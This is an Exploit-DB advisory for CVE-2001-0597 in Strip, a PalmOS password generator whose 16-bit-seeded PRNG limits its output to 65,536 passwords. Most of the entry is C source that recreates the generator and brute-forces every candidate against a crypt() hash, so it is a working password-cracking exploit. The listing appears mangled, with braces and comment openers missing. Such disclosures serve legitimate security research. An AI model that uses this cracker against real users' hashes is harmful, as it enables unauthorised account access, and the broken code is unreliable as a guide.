Strip Password Generator 0.3/0.4/0.5 Limited Password-Space Vulnerability

ID EDB-ID:20746
Type exploitdb
Reporter Thomas Roessler
Modified 2001-04-10T00:00:00


Strip Password Generator 0.3/0.4/0.5 Limited Password-Space Vulnerability. CVE-2001-0597. Local exploit for palm_os platform


Strip is a password generation utility made freely available by Zetetic Enterprises. Strip is a PalmOS based application designed to generate and store important passwords.

A problem with Strip makes it possible for a user that has attained an encrypted password generated with Strip to easily guess the password. The pseudo-random number generation is done through the SysRandom() syscall of PalmOS, which offers simplistic number generation. Additionally, the PNRG is seeded with number that may be small depending on the operation time of the Palm device. Finally, the maximum size of the seed is 16 bits.

Therefore, it is possible for a user to easily guess passwords generated with Strip, which have a maximum of 2^16 possibilities. 

 * Crack passwords generate by strip ("Secure Tool for Recalling
 * Important Passwords") for the Palm; see
 * <> for details.
 * Copyright (c) 2001 by Thomas Roessler
 * <>.
 * Use, distribute and modify freely.

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <crypt.h>

/* The PalmOS SysRandom() RNG. */

static unsigned int multiplier = 22695477;
static unsigned int _seed = 0;

short palm_rand (unsigned int new_seed)
  if (new_seed)
    _seed = new_seed;
  _seed = (_seed * multiplier) + 1;
  return (short)  ((_seed >> 16)  & 0x7fff);

 * Strip's password generation algorithm for the alphanumeric case - 
 * you can easily change this to cover the other cases as well.

static char *alphas = "abcdefhijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char *numerics = "0123456789";

char *possible_password (unsigned int seed, int size)
  static char pwbuff[1024];
  char z[1024];
  int i, r;
  int valids;

  if (size > sizeof (pwbuff))
    exit (1);
  sprintf (z, "%s%s",numerics, alphas);
  valids = strlen (z);
  r = palm_rand (seed);

  for (i = 0; i < size; i++)
    r = palm_rand (0);
    pwbuff[i] = z[r % valids];
  pwbuff[i] = '\0';
  return pwbuff;

/* check all possible passwords */

int main (int argc, char *argv[])
  int i;
  char *pw;
  for (i = 0; i <= 0xffff; i++)
    pw = possible_password ((short) i, 8);
    if (!argv[1] || !strcmp (argv[1], crypt (pw, argv[1])))
      printf ("%s\n", pw);
  return 0;